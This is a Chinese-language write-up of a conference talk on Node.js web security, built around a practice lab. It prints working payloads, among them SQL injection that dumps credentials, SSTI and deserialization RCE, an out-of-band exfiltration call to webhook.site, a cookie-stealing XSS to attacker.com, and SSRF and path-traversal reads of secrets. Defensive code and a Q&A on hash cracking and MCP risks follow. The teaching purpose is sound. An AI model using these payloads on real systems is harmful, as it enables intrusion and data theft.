[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南

本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。

活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw

前言

當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:

X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)

這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。

但知道這是 Node.js,真的改變了什麼嗎?

這個問題貫穿了整場演講,也是本文想要探討的核心。


實驗環境

本文所有攻擊都可以在以下環境中實際練習:

⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。


第一部分:攻擊者視角

一、識別 Node.js 的方法

在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:

1.1 HTTP Response Headers

curl -I https://nodelab.feifei.tw

觀察回應中的:

  • X-Powered-By: Express — 最直接的線索
  • Server: nginx — 配合其他線索判斷

1.2 Cookie 命名慣例

打開瀏覽器開發者工具 → Application → Cookies,觀察:

  • connect.sid — Express Session 的預設名稱

1.3 錯誤訊息洩漏

故意觸發錯誤,觀察 Stack Trace 中是否包含:

  • node_modules
  • at Object.<anonymous>
  • Express 相關路徑

1.4 使用 Wappalyzer

安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。


二、通用漏洞(與語言無關)

以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%。

2.1 SQL Injection

Lab 路徑:https://nodelab.feifei.tw/api/articles/

漏洞程式碼:

// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};

攻擊流程:

Step 1:探測漏洞

curl "https://nodelab.feifei.tw/api/articles/'"

如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。

Step 2:確定欄位數量(ORDER BY)

# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -"  # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -"  # 失敗
# 結論:有 6 個欄位

Step 3:取得資料庫版本

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"

Step 4:列出所有資料表

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"

Step 5:取得 users 表的欄位

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"

Step 6:取得帳號密碼

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"

預期結果:

test:password123,admin:secret1

2.2 XSS(跨站腳本攻擊)

反射型 XSS

Lab 路徑:https://nodelab.feifei.tw/search

漏洞程式碼:

app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(你搜尋的關鍵字是:${keyword});  // 直接輸出,未轉義
});

攻擊 Payload:

https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>

竊取 Cookie 的 Payload:

https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS

Lab 路徑:https://nodelab.feifei.tw/form

測試 Payload:

類型 Payload 預期結果
HTML 注入 <h1>這是標題</h1> 顯示為 H1 標題
CSS 注入 <style>body{background:red}</style> 背景變紅
JS 注入 <script>alert(‘XSS’)</script> 彈出對話框

2.3 JWT 誤用

Lab 路徑:https://nodelab.feifei.tw/api/auth/login

漏洞程式碼:

// 絕對不要這樣寫!
const token = jwt.sign({
  id: user.id,
  username: user.username,
  password: user.password  // 密碼放進 JWT!
}, secretKey);

💬 講者原話:「大家不要笑,這些全部都是真實的案例。」

這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。

攻擊方式:

  1. 取得 JWT Token

    curl -X POST https://nodelab.feifei.tw/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password123"}'
  2. 解碼 JWT(到 https://jwt.io)

    • JWT 中間部分是 Base64 編碼
    • 解碼後可能看到明文密碼

2.4 敏感資料洩露

Lab 路徑:https://nodelab.feifei.tw/api/users

漏洞程式碼:

app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);  // 直接回傳整個物件,包含密碼
});

💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」

「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」

「請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。」

為什麼 Vibe Coding 容易出現這個問題?

當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。

攻擊方式:

curl https://nodelab.feifei.tw/api/users/1

可能的回傳:

{
  "id": 1,
  "username": "admin",
  "email": "admin@example.com",
  "password": "hashed_password_here",
  "created_at": "2024-01-01"
}

2.5 SSRF(伺服器端請求偽造)

Lab 路徑:https://nodelab.feifei.tw/fetch

漏洞程式碼:

app.get('/fetch', async (req, res) => {
  const { url } = req.query;
  const response = await axios.get(url);  // 直接請求使用者提供的 URL
  res.json(response.data);
});

攻擊 Payload:

存取內部 API:

curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"

讀取本機檔案(如果支援 file 協定):

curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"

存取雲端 Metadata(AWS/GCP):

curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"

💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。」

真實案例場景:

攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:

  1. 啟動大量 EC2 實例進行挖礦
  2. 存取 S3 Bucket 中的敏感資料
  3. 修改安全群組設定
  4. 建立新的 IAM 使用者作為後門

這就是為什麼很多公司會突然收到巨額的雲端帳單。


三、Node.js 特定漏洞

以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)。

3.1 SSTI(伺服器端模板注入)

Lab 路徑:

模板引擎 URL
JsRender https://nodelab.feifei.tw/ssti/JsRender-demo
PugJS https://nodelab.feifei.tw/ssti/PugJS-demo
Nunjucks https://nodelab.feifei.tw/ssti/Nunjucks-demo
Step 1:確認 SSTI 漏洞存在

JsRender:

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:7*7}}"}'
# 預期結果:49

PugJS:

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{7*7}"}'
# 預期結果:49

Nunjucks:

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊

💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」

「你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。」

「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」

JsRender – 讀取 /etc/passwd:

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'

PugJS – 建立檔案:

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'

Nunjucks – 讀取 /etc/passwd:

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'

⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。」


3.2 不安全的反序列化

Lab 路徑:https://nodelab.feifei.tw/api/serialize

漏洞程式碼:

const serialize = require('node-serialize');

app.post('/api/serialize', (req, res) => {
  const data = serialize.unserialize(req.body);  // 危險!
  res.json(data);
});

攻擊 Payload:

基本測試:

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

RCE – Console.log:

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'

RCE – 讀取系統資訊(Out-of-Band):

# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){const  https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'

3.3 Prototype Pollution(原型污染)

概念說明:

JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。

漏洞程式碼:

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

攻擊 Payload:

{
  "__proto__": {
    "isAdmin": true
  }
}

影響:

const user = {};
console.log(user.isAdmin);  // true(被污染了!)

3.4 Path Traversal(路徑穿越)

Lab 路徑:https://nodelab.feifei.tw/api/pathTraversal

漏洞程式碼:

app.get('/api/pathTraversal', (req, res) => {
  const filename = req.query.filename;
  const content = fs.readFileSync(./upload/${filename}, 'utf8');
  res.send(content);
});

攻擊 Payload:

正常存取:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"

讀取 /etc/passwd:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"

讀取環境變數:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"

讀取程式碼:

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"

3.5 Cache Pollution(快取污染)

Lab 路徑:https://nodelab.feifei.tw/api/cache

攻擊流程:

Step 1:清除快取

curl https://nodelab.feifei.tw/api/cache/flush

Step 2:確認快取為空

curl https://nodelab.feifei.tw/api/cache/getallvalue

Step 3:注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" \
  https://nodelab.feifei.tw/api/cache/

Step 4:檢查快取內容

curl https://nodelab.feifei.tw/api/cache/getallvalue

3.6 XXE(XML 外部實體注入)

Lab 路徑:https://nodelab.feifei.tw/load_xml

攻擊 Payload:

curl -X POST https://nodelab.feifei.tw/load_xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'

第二部分:防禦者視角

四、Express 框架安全加固

4.1 使用 Helmet

const helmet = require('helmet');
app.use(helmet());

Helmet 會自動設定多個安全標頭:

  • Content-Security-Policy
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • X-XSS-Protection

4.2 隱藏技術資訊

app.disable('x-powered-by');

4.3 修改 Session 名稱

app.use(session({
  name: 'sessionId',  // 不要用預設的 connect.sid
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpsOnly: true,
    secure: true,
    sameSite: 'strict'
  }
}));

💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」

「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」

偽裝成其他技術(不建議,但有趣):

app.use(session({
  name: 'PHPSESSID',  // 偽裝成 PHP
  // ...
}));

4.4 輸入驗證

const { body, validationResult } = require('express-validator');

app.post('/api/user',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 12 }),
  body('username').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 處理請求...
  }
);

五、防禦特定漏洞

5.1 防禦 SQL Injection

// 使用參數化查詢
const { rows } = await db.query(
  'SELECT * FROM articles WHERE id = $1',
  [req.params.id]
);

// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);

5.2 防禦 XSS

const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');

// 方法一:HTML 實體編碼
const safe = he.encode(userInput);

// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);

// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);

5.3 防禦 Prototype Pollution

// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);

// 方法二:凍結原型
Object.freeze(Object.prototype);

// 方法三:過濾危險屬性
function safeAssign(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
    if (dangerous.includes(key)) continue;
    target[key] = source[key];
  }
  return target;
}

5.4 防禦 SSRF

const { URL } = require('url');

const allowedHosts = ['api.example.com', 'data.example.com'];

app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  try {
    const parsedUrl = new URL(url);

    // 白名單驗證
    if (!allowedHosts.includes(parsedUrl.hostname)) {
      return res.status(403).send('Access denied');
    }

    // 只允許 HTTP/HTTPS
    if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
      return res.status(400).send('Invalid protocol');
    }

    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(400).send('Invalid URL');
  }
});

5.5 防禦 Path Traversal

const path = require('path');

app.get('/api/file', (req, res) => {
  const filename = req.query.filename;

  // 只取檔名,移除路徑
  const safeFilename = path.basename(filename);

  // 確認路徑在允許的目錄內
  const filePath = path.join(__dirname, 'upload', safeFilename);
  const uploadDir = path.join(__dirname, 'upload');

  if (!filePath.startsWith(uploadDir)) {
    return res.status(403).send('Access denied');
  }

  // 讀取檔案...
});

第三部分:Lab 路徑總整理

漏洞類型 Lab 路徑 HTTP 方法
SQL Injection /api/articles/:id GET
XSS(反射型) /search?keyword= GET
XSS(DOM-based) /form GET/POST
JWT 誤用 /api/auth/login POST
敏感資料洩露 /api/users/:id GET
SSRF /fetch?url= GET
SSTI – JsRender /ssti/JsRender-demo POST
SSTI – PugJS /ssti/PugJS-demo POST
SSTI – Nunjucks /ssti/Nunjucks-demo POST
反序列化 /api/serialize POST
Path Traversal /api/pathTraversal?filename= GET
Cache Pollution /api/cache/ GET
XXE /load_xml POST
NoSQL Injection /api/product/filter?category= GET
檔案上傳 /upload GET/POST
CRLF Injection /redirect?url= GET

結論:Node.js Matters?

對攻擊者而言

是的,但不是全部。

  • 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
  • 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
  • 這 20-30% 往往可以導致 RCE(遠端程式碼執行)

對防禦者而言

是的,請擁抱你的技術。

  1. 理解 Node.js 的安全特性
  2. 建立 Node.js 特定的安全檢查清單
  3. 善用生態系統:helmet、express-validator、npm audit

💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」

安全的本質沒有變

無論使用什麼語言:

  • 永遠不信任使用者輸入
  • 最小權限原則
  • 深度防禦

參考資源


本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。


附錄:Q&A 精選

以下是演講後的 Q&A 環節精華:

Q1:被雜湊過的密碼還可以利用嗎?

💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」

「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」

密碼破解工具:

  • Hashcat:本地端 GPU 加速破解
  • John the Ripper:經典密碼破解工具
  • CMD5.com:線上雜湊查詢服務(彩虹表)

Q2:Vibe Coding 造成很多漏洞,怎麼看?

💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」

「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」

「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」

講者本次示範的程式碼:

「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」

Q3:有什麼破壞不可否認性的案例嗎?

💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」

「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」

日誌安全建議:

  • 不要在日誌中記錄敏感資訊(密碼、Token)
  • 將日誌傳送到獨立的日誌伺服器
  • 設定日誌不可刪除(append-only)
  • 定期備份日誌

Q4:MCP 有成熟的攻擊語法跟注入方法嗎?

💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」

「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」

MCP 安全建議:

  • 只使用可信來源的 MCP
  • 檢查 MCP 請求的權限範圍
  • 在沙盒環境中測試新的 MCP
  • 定期審查已安裝的 MCP

Q5:有推薦的掃描工具嗎?

💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」

推薦工具清單:

類型 工具 說明
黑箱測試 OWASP ZAP 免費開源,功能強大
黑箱測試 Burp Suite 業界標準,有免費版
白箱測試 SonarQube 程式碼品質與安全掃描
白箱測試 Snyk npm 套件漏洞掃描
依賴檢查 npm audit Node.js 內建
AI 輔助 GitHub Copilot 可以幫忙找漏洞

講者提醒

「大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」

「回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」

「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」